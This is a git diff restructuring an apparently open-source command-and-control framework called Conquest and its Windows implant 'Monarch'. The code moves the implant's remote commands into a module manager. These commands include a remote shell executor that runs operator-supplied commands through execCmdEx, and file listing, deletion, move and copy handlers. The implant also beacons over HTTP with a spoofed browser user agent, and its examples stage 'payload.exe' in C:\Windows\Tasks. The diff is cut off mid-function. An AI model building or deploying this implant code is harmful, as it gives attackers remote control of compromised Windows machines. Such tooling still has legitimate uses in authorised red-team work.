diff --git a/README.md b/README.md
index 353e77f..6dadfb8 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
Compile with Nim:
```
-nim c src/server/server.nim
+nim c -d:server src/server/main.nim
```
From the `bin` directory, start the team server:
diff --git a/src/agents/commands.md b/docs/COMMANDS.md
similarity index 100%
rename from src/agents/commands.md
rename to docs/COMMANDS.md
diff --git a/src/agent/README.md b/src/agent/README.md
new file mode 100644
index 0000000..c0985bf
--- /dev/null
+++ b/src/agent/README.md
@@ -0,0 +1,7 @@
+# Conquest Agents
+
+The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
+
+```
+./build.sh
+```
\ No newline at end of file
diff --git a/src/agents/monarch/build.sh b/src/agent/build.sh
similarity index 83%
rename from src/agents/monarch/build.sh
rename to src/agent/build.sh
index 58286cc..a515982 100644
--- a/src/agents/monarch/build.sh
+++ b/src/agent/build.sh
@@ -8,4 +8,5 @@ nim --os:windows \
-d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
- c $CONQUEST_ROOT/src/agents/monarch/main.nim
+ -d:agent \
+ c $CONQUEST_ROOT/src/agent/main.nim
diff --git a/src/agents/monarch/core/heartbeat.nim b/src/agent/core/heartbeat.nim
similarity index 95%
rename from src/agents/monarch/core/heartbeat.nim
rename to src/agent/core/heartbeat.nim
index 0437e26..9fe0983 100644
--- a/src/agents/monarch/core/heartbeat.nim
+++ b/src/agent/core/heartbeat.nim
@@ -1,6 +1,6 @@
import times
-import ../../../common/[types, serialize, utils, crypto]
+import ../../common/[types, serialize, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
diff --git a/src/agents/monarch/core/http.nim b/src/agent/core/http.nim
similarity index 98%
rename from src/agents/monarch/core/http.nim
rename to src/agent/core/http.nim
index cacdd60..8cb181c 100644
--- a/src/agents/monarch/core/http.nim
+++ b/src/agent/core/http.nim
@@ -1,6 +1,6 @@
import httpclient, json, strformat, asyncdispatch
-import ../../../common/[types, utils]
+import ../../common/[types, utils]
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
diff --git a/src/agents/monarch/core/register.nim b/src/agent/core/register.nim
similarity index 99%
rename from src/agents/monarch/core/register.nim
rename to src/agent/core/register.nim
index 71992e0..accc302 100644
--- a/src/agents/monarch/core/register.nim
+++ b/src/agent/core/register.nim
@@ -1,6 +1,6 @@
import winim, os, net, strformat, strutils, registry, sugar
-import ../../../common/[types, serialize, crypto, utils]
+import ../../common/[types, serialize, crypto, utils]
# Hostname/Computername
proc getHostname(): string =
diff --git a/src/agents/monarch/core/task.nim b/src/agent/core/task.nim
similarity index 82%
rename from src/agents/monarch/core/task.nim
rename to src/agent/core/task.nim
index 8ee824e..e1af9a0 100644
--- a/src/agents/monarch/core/task.nim
+++ b/src/agent/core/task.nim
@@ -1,24 +1,13 @@
import strutils, tables, json, strformat, sugar
-import ../commands/commands
-import ../../../common/[types, serialize, crypto, utils]
+import ../../modules/manager
+import ../../common/[types, serialize, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
-
- let handlers = {
- CMD_SLEEP: taskSleep,
- CMD_SHELL: taskShell,
- CMD_PWD: taskPwd,
- CMD_CD: taskCd,
- CMD_LS: taskDir,
- CMD_RM: taskRm,
- CMD_RMDIR: taskRmdir,
- CMD_MOVE: taskMove,
- CMD_COPY: taskCopy
- }.toTable
-
- # Handle task command
- return handlers[cast[CommandType](task.command)](config, task)
+ try:
+ return getCommandByType(cast[CommandType](task.command)).execute(config, task)
+ except CatchableError:
+ echo "[-] Command not found."
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
diff --git a/src/agents/monarch/core/taskresult.nim b/src/agent/core/taskresult.nim
similarity index 96%
rename from src/agents/monarch/core/taskresult.nim
rename to src/agent/core/taskresult.nim
index 2faba2a..44d22a6 100644
--- a/src/agents/monarch/core/taskresult.nim
+++ b/src/agent/core/taskresult.nim
@@ -1,5 +1,5 @@
import times, sugar
-import ../../../common/[types, serialize, crypto, utils]
+import ../../common/[types, serialize, crypto, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
diff --git a/src/agents/monarch/main.nim b/src/agent/main.nim
similarity index 97%
rename from src/agents/monarch/main.nim
rename to src/agent/main.nim
index ae30a43..e9cb501 100644
--- a/src/agents/monarch/main.nim
+++ b/src/agent/main.nim
@@ -2,7 +2,8 @@ import strformat, os, times, system, base64
import winim
import core/[task, taskresult, heartbeat, http, register]
-import ../../common/[types, utils, crypto]
+import ../modules/manager
+import ../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -54,6 +55,9 @@ proc main() =
except CatchableError as err:
echo "[-] " & err.msg
+ # Load agent commands
+ loadModules()
+
# Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)
diff --git a/src/agents/monarch/nim.cfg b/src/agent/nim.cfg
similarity index 100%
rename from src/agents/monarch/nim.cfg
rename to src/agent/nim.cfg
diff --git a/src/agents/README.md b/src/agents/README.md
deleted file mode 100644
index 45696ec..0000000
--- a/src/agents/README.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# Conquest Agents
-
-For cross-compilation from UNIX to Windows, use:
-
-```
-./build.sh
-```
\ No newline at end of file
diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim
deleted file mode 100644
index aea0d4d..0000000
--- a/src/agents/monarch/commands/commands.nim
+++ /dev/null
@@ -1,3 +0,0 @@
-import ./[shell, sleep, filesystem]
-
-export shell, sleep, filesystem
\ No newline at end of file
diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim
deleted file mode 100644
index e9532c4..0000000
--- a/src/agents/monarch/commands/filesystem.nim
+++ /dev/null
@@ -1,269 +0,0 @@
-import os, strutils, strformat, winim, times, algorithm
-
-import ../core/taskresult
-import ../../../common/[types, utils]
-
-# Retrieve current working directory
-proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
-
- echo fmt" [>] Retrieving current working directory."
-
- try:
- # Get current working directory using GetCurrentDirectory
- let
- buffer = newWString(MAX_PATH + 1)
- length = GetCurrentDirectoryW(MAX_PATH, &buffer)
-
- if length == 0:
- raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-
- let output = $buffer[0 ..< (int)length] & "\n"
- return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-
-# Change working directory
-proc taskCd*(config: AgentConfig, task: Task): TaskResult =
-
- # Parse arguments
- let targetDirectory = task.args[0].data.toString()
-
- echo fmt" [>] Changing current working directory to {targetDirectory}."
-
- try:
- # Get current working directory using GetCurrentDirectory
- if SetCurrentDirectoryW(targetDirectory) == FALSE:
- raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-
-# List files and directories at a specific or at the current path
-proc taskDir*(config: AgentConfig, task: Task): TaskResult =
-
- try:
- var targetDirectory: string
-
- # Parse arguments
- case int(task.argCount):
- of 0:
- # Get current working directory using GetCurrentDirectory
- let
- cwdBuffer = newWString(MAX_PATH + 1)
- cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
-
- if cwdLength == 0:
- raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
-
- targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
-
- of 1:
- targetDirectory = task.args[0].data.toString()
- else:
- discard
-
- echo fmt" [>] Listing files and directories in {targetDirectory}."
-
- # Prepare search pattern (target directory + \*)
- let searchPattern = targetDirectory & "\\*"
- let searchPatternW = newWString(searchPattern)
-
- var
- findData: WIN32_FIND_DATAW
- hFind: HANDLE
- output = ""
- entries: seq[string] = @[]
- totalFiles = 0
- totalDirs = 0
-
- # Find files and directories in target directory
- hFind = FindFirstFileW(searchPatternW, &findData)
-
- if hFind == INVALID_HANDLE_VALUE:
- raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
-
- # Directory was found and can be listed
- else:
- output = fmt"Directory: {targetDirectory}" & "\n\n"
- output &= "Mode LastWriteTime Length Name" & "\n"
- output &= "---- ------------- ------ ----" & "\n"
-
- # Process all files and directories
- while true:
- let fileName = $cast[WideCString](addr findData.cFileName[0])
-
- # Skip current and parent directory entries
- if fileName != "." and fileName != "..":
- # Get file attributes and size
- let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
- let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
- let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
- let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
- let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
-
- # Handle flags
- var mode = ""
- if isDir:
- mode = "d"
- inc totalDirs
- else:
- mode = "-"
- inc totalFiles
-
- if isArchive:
- mode &= "a"
- else:
- mode &= "-"
-
- if isReadOnly:
- mode &= "r"
- else:
- mode &= "-"
-
- if isHidden:
- mode &= "h"
- else:
- mode &= "-"
-
- if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
- mode &= "s"
- else:
- mode &= "-"
-
- # Convert FILETIME to local time and format
- var
- localTime: FILETIME
- systemTime: SYSTEMTIME
- dateTimeStr = "01/01/1970 00:00:00"
-
- if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
- # Format date and time in PowerShell style
- dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
-
- # Format file size
- var sizeStr = ""
- if isDir:
- sizeStr = "
"
- else:
- sizeStr = ($fileSize).replace("-", "")
-
- # Build the entry line
- let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
- entries.add(entryLine)
-
- # Find next file
- if FindNextFileW(hFind, &findData) == 0:
- break
-
- # Close find handle
- discard FindClose(hFind)
-
- # Add entries to output after sorting them (directories first, files afterwards)
- entries.sort do (a, b: string) -> int:
- let aIsDir = a[0] == 'd'
- let bIsDir = b[0] == 'd'
-
- if aIsDir and not bIsDir:
- return -1
- elif not aIsDir and bIsDir:
- return 1
- else:
- # Extract filename for comparison (last part after the last space)
- let aParts = a.split(" ")
- let bParts = b.split(" ")
- let aName = aParts[^1]
- let bName = bParts[^1]
- return cmp(aName.toLowerAscii(), bName.toLowerAscii())
-
- for entry in entries:
- output &= entry & "\n"
-
- # Add summary of how many files/directories have been found
- output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
- output &= fmt"{totalDirs} dir(s)" & "\n"
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-
-# Remove file
-proc taskRm*(config: AgentConfig, task: Task): TaskResult =
-
- # Parse arguments
- let target = task.args[0].data.toString()
-
- echo fmt" [>] Deleting file {target}."
-
- try:
- if DeleteFile(target) == FALSE:
- raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-
-# Remove directory
-proc taskRmdir*(config: AgentConfig, task: Task): TaskResult =
-
- # Parse arguments
- let target = task.args[0].data.toString()
-
- echo fmt" [>] Deleting directory {target}."
-
- try:
- if RemoveDirectoryA(target) == FALSE:
- raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-# Move file or directory
-proc taskMove*(config: AgentConfig, task: Task): TaskResult =
-
- # Parse arguments
- let
- lpExistingFileName = task.args[0].data.toString()
- lpNewFileName = task.args[1].data.toString()
-
- echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
-
- try:
- if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
- raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-
-
-# Copy file or directory
-proc taskCopy*(config: AgentConfig, task: Task): TaskResult =
-
- # Parse arguments
- let
- lpExistingFileName = task.args[0].data.toString()
- lpNewFileName = task.args[1].data.toString()
-
- echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
-
- try:
- # Copy file to new location, overwrite if a file with the same name already exists
- if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
- raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
-
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim
deleted file mode 100644
index 7c99f59..0000000
--- a/src/agents/monarch/commands/shell.nim
+++ /dev/null
@@ -1,34 +0,0 @@
-import winim, osproc, strutils, strformat
-
-import ../core/taskresult
-import ../../../common/[types, utils]
-
-proc taskShell*(config: AgentConfig, task: Task): TaskResult =
-
- try:
- var
- command: string
- arguments: string
-
- # Parse arguments
- case int(task.argCount):
- of 1: # Only the command has been passed as an argument
- command = task.args[0].data.toString()
- arguments = ""
- of 2: # The optional 'arguments' parameter was included
- command = task.args[0].data.toString()
- arguments = task.args[1].data.toString()
- else:
- discard
-
- echo fmt" [>] Executing: {command} {arguments}."
-
- let (output, status) = execCmdEx(fmt("{command} {arguments}"))
-
- if output != "":
- return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
- else:
- return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim
deleted file mode 100644
index 54d2aff..0000000
--- a/src/agents/monarch/commands/sleep.nim
+++ /dev/null
@@ -1,21 +0,0 @@
-import os, strutils, strformat
-
-import ../core/taskresult
-import ../../../common/[types, utils, serialize]
-
-proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
-
- try:
- # Parse task parameter
- let delay = int(task.args[0].data.toUint32())
-
- echo fmt" [>] Sleeping for {delay} seconds."
-
- sleep(delay * 1000)
-
- # Updating sleep in agent config
- config.sleep = delay
- return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-
- except CatchableError as err:
- return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/common/types.nim b/src/common/types.nim
index 951091f..1abcf0a 100644
--- a/src/common/types.nim
+++ b/src/common/types.nim
@@ -94,21 +94,6 @@ type
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
-# Structure for command module definitions
- Argument* = object
- name*: string
- description*: string
- argumentType*: ArgType
- isRequired*: bool
-
- Command* = object
- name*: string
- commandType*: CommandType
- description*: string
- example*: string
- arguments*: seq[Argument]
- dispatchMessage*: string
-
# Checkin binary structure
type
Heartbeat* = object
@@ -189,4 +174,21 @@ type
port*: int
sleep*: int
sessionKey*: Key
- agentPublicKey*: Key
\ No newline at end of file
+ agentPublicKey*: Key
+
+# Structure for command module definitions
+type
+ Argument* = object
+ name*: string
+ description*: string
+ argumentType*: ArgType
+ isRequired*: bool
+
+ Command* = object
+ name*: string
+ commandType*: CommandType
+ description*: string
+ example*: string
+ arguments*: seq[Argument]
+ dispatchMessage*: string
+ execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.}
\ No newline at end of file
diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim
new file mode 100644
index 0000000..0732e1e
--- /dev/null
+++ b/src/modules/filesystem.nim
@@ -0,0 +1,357 @@
+import ./manager
+import ../common/[types, utils]
+
+when defined(server):
+ proc executePwd(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeCd(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeDir(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeRm(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeMove(config: AgentConfig, task: Task): TaskResult = nil
+ proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil
+
+# Implementation of the execution functions
+when defined(agent):
+
+ import os, strutils, strformat, times, algorithm, winim
+ import ../agent/core/taskresult
+
+ # Retrieve current working directory
+ proc executePwd(config: AgentConfig, task: Task): TaskResult =
+
+ echo fmt" [>] Retrieving current working directory."
+
+ try:
+ # Get current working directory using GetCurrentDirectory
+ let
+ buffer = newWString(MAX_PATH + 1)
+ length = GetCurrentDirectoryW(MAX_PATH, &buffer)
+
+ if length == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+
+ let output = $buffer[0 ..< (int)length] & "\n"
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+ # Change working directory
+ proc executeCd(config: AgentConfig, task: Task): TaskResult =
+
+ # Parse arguments
+ let targetDirectory = task.args[0].data.toString()
+
+ echo fmt" [>] Changing current working directory to {targetDirectory}."
+
+ try:
+ # Get current working directory using GetCurrentDirectory
+ if SetCurrentDirectoryW(targetDirectory) == FALSE:
+ raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+ # List files and directories at a specific or at the current path
+ proc executeDir(config: AgentConfig, task: Task): TaskResult =
+
+ try:
+ var targetDirectory: string
+
+ # Parse arguments
+ case int(task.argCount):
+ of 0:
+ # Get current working directory using GetCurrentDirectory
+ let
+ cwdBuffer = newWString(MAX_PATH + 1)
+ cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
+
+ if cwdLength == 0:
+ raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+
+ targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
+
+ of 1:
+ targetDirectory = task.args[0].data.toString()
+ else:
+ discard
+
+ echo fmt" [>] Listing files and directories in {targetDirectory}."
+
+ # Prepare search pattern (target directory + \*)
+ let searchPattern = targetDirectory & "\\*"
+ let searchPatternW = newWString(searchPattern)
+
+ var
+ findData: WIN32_FIND_DATAW
+ hFind: HANDLE
+ output = ""
+ entries: seq[string] = @[]
+ totalFiles = 0
+ totalDirs = 0
+
+ # Find files and directories in target directory
+ hFind = FindFirstFileW(searchPatternW, &findData)
+
+ if hFind == INVALID_HANDLE_VALUE:
+ raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
+
+ # Directory was found and can be listed
+ else:
+ output = fmt"Directory: {targetDirectory}" & "\n\n"
+ output &= "Mode LastWriteTime Length Name" & "\n"
+ output &= "---- ------------- ------ ----" & "\n"
+
+ # Process all files and directories
+ while true:
+ let fileName = $cast[WideCString](addr findData.cFileName[0])
+
+ # Skip current and parent directory entries
+ if fileName != "." and fileName != "..":
+ # Get file attributes and size
+ let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
+ let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
+ let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
+ let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
+ let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
+
+ # Handle flags
+ var mode = ""
+ if isDir:
+ mode = "d"
+ inc totalDirs
+ else:
+ mode = "-"
+ inc totalFiles
+
+ if isArchive:
+ mode &= "a"
+ else:
+ mode &= "-"
+
+ if isReadOnly:
+ mode &= "r"
+ else:
+ mode &= "-"
+
+ if isHidden:
+ mode &= "h"
+ else:
+ mode &= "-"
+
+ if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
+ mode &= "s"
+ else:
+ mode &= "-"
+
+ # Convert FILETIME to local time and format
+ var
+ localTime: FILETIME
+ systemTime: SYSTEMTIME
+ dateTimeStr = "01/01/1970 00:00:00"
+
+ if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
+ # Format date and time in PowerShell style
+ dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
+
+ # Format file size
+ var sizeStr = ""
+ if isDir:
+ sizeStr = ""
+ else:
+ sizeStr = ($fileSize).replace("-", "")
+
+ # Build the entry line
+ let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
+ entries.add(entryLine)
+
+ # Find next file
+ if FindNextFileW(hFind, &findData) == 0:
+ break
+
+ # Close find handle
+ discard FindClose(hFind)
+
+ # Add entries to output after sorting them (directories first, files afterwards)
+ entries.sort do (a, b: string) -> int:
+ let aIsDir = a[0] == 'd'
+ let bIsDir = b[0] == 'd'
+
+ if aIsDir and not bIsDir:
+ return -1
+ elif not aIsDir and bIsDir:
+ return 1
+ else:
+ # Extract filename for comparison (last part after the last space)
+ let aParts = a.split(" ")
+ let bParts = b.split(" ")
+ let aName = aParts[^1]
+ let bName = bParts[^1]
+ return cmp(aName.toLowerAscii(), bName.toLowerAscii())
+
+ for entry in entries:
+ output &= entry & "\n"
+
+ # Add summary of how many files/directories have been found
+ output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
+ output &= fmt"{totalDirs} dir(s)" & "\n"
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+ # Remove file
+ proc executeRm(config: AgentConfig, task: Task): TaskResult =
+
+ # Parse arguments
+ let target = task.args[0].data.toString()
+
+ echo fmt" [>] Deleting file {target}."
+
+ try:
+ if DeleteFile(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+ # Remove directory
+ proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
+
+ # Parse arguments
+ let target = task.args[0].data.toString()
+
+ echo fmt" [>] Deleting directory {target}."
+
+ try:
+ if RemoveDirectoryA(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+ # Move file or directory
+ proc executeMove(config: AgentConfig, task: Task): TaskResult =
+
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
+
+ echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
+
+ try:
+ if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
+ raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+ # Copy file or directory
+ proc executeCopy(config: AgentConfig, task: Task): TaskResult =
+
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
+
+ echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
+
+ try:
+ # Copy file to new location, overwrite if a file with the same name already exists
+ if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
+ raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
+
+# Command definitions
+let commands* = @[
+ Command(
+ name: "pwd",
+ commandType: CMD_PWD,
+ description: "Retrieve current working directory.",
+ example: "pwd",
+ arguments: @[],
+ execute: executePwd
+ ),
+ Command(
+ name: "cd",
+ commandType: CMD_CD,
+ description: "Change current working directory.",
+ example: "cd C:\\Windows\\Tasks",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
+ ],
+ execute: executeCd
+ ),
+ Command(
+ name: "ls",
+ commandType: CMD_LS,
+ description: "List files and directories.",
+ example: "ls C:\\Users\\Administrator\\Desktop",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
+ ],
+ execute: executeDir
+ ),
+ Command(
+ name: "rm",
+ commandType: CMD_RM,
+ description: "Remove a file.",
+ example: "rm C:\\Windows\\Tasks\\payload.exe",
+ arguments: @[
+ Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
+ ],
+ execute: executeRm
+ ),
+ Command(
+ name: "rmdir",
+ commandType: CMD_RMDIR,
+ description: "Remove a directory.",
+ example: "rm C:\\Payloads",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
+ ],
+ execute: executeRmdir
+ ),
+ Command(
+ name: "move",
+ commandType: CMD_MOVE,
+ description: "Move a file or directory.",
+ example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
+ arguments: @[
+ Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+ Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+ ],
+ execute: executeMove
+ ),
+ Command(
+ name: "copy",
+ commandType: CMD_COPY,
+ description: "Copy a file or directory.",
+ example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
+ arguments: @[
+ Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+ Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+ ],
+ execute: executeCopy
+ )
+]
\ No newline at end of file
diff --git a/src/modules/manager.nim b/src/modules/manager.nim
new file mode 100644
index 0000000..b78a544
--- /dev/null
+++ b/src/modules/manager.nim
@@ -0,0 +1,38 @@
+import tables, strformat
+import ../common/[types, utils]
+
+# Import modules
+import
+ shell,
+ sleep,
+ filesystem
+
+type
+ ModuleManager* = object
+ commandsByType*: Table[CommandType, Command]
+ commandsByName*: Table[string, Command]
+
+var manager: ModuleManager
+
+proc registerCommands(commands: seq[Command]) {.discardable.} =
+ for cmd in commands:
+ manager.commandsByType[cmd.commandType] = cmd
+ manager.commandsByName[cmd.name] = cmd
+
+proc loadModules*() =
+ # Register all imported commands
+ registerCommands(shell.commands)
+ registerCommands(sleep.commands)
+ registerCommands(filesystem.commands)
+
+proc getCommandByType*(cmdType: CommandType): Command =
+ return manager.commandsByType[cmdType]
+
+proc getCommandByName*(cmdName: string): Command =
+ try:
+ return manager.commandsByName[cmdName]
+ except ValueError:
+ raise newException(ValueError, fmt"The command '{cmdName}' does not exist.")
+
+proc getAvailableCommands*(): Table[string, Command] =
+ return manager.commandsByName
\ No newline at end of file
diff --git a/src/modules/shell.nim b/src/modules/shell.nim
new file mode 100644
index 0000000..067bd84
--- /dev/null
+++ b/src/modules/shell.nim
@@ -0,0 +1,55 @@
+import ./manager
+import ../common/[types, utils]
+
+when defined(server):
+ proc executeShell(config: AgentConfig, task: Task): TaskResult = nil
+
+# Implement execution functions
+when defined(agent):
+
+ import ../agent/core/taskresult
+ import osproc, strutils, strformat
+
+ proc executeShell(config: AgentConfig, task: Task): TaskResult =
+ try:
+ var
+ command: string
+ arguments: string
+
+ # Parse arguments
+ case int(task.argCount):
+ of 1: # Only the command has been passed as an argument
+ command = task.args[0].data.toString()
+ arguments = ""
+ of 2: # The optional 'arguments' parameter was included
+ command = task.args[0].data.toString()
+ arguments = task.args[1].data.toString()
+ else:
+ discard
+
+ echo fmt" [>] Executing: {command} {arguments}."
+
+ let (output, status) = execCmdEx(fmt("{command} {arguments}"))
+
+ if output != "":
+ return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
+ else:
+ return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
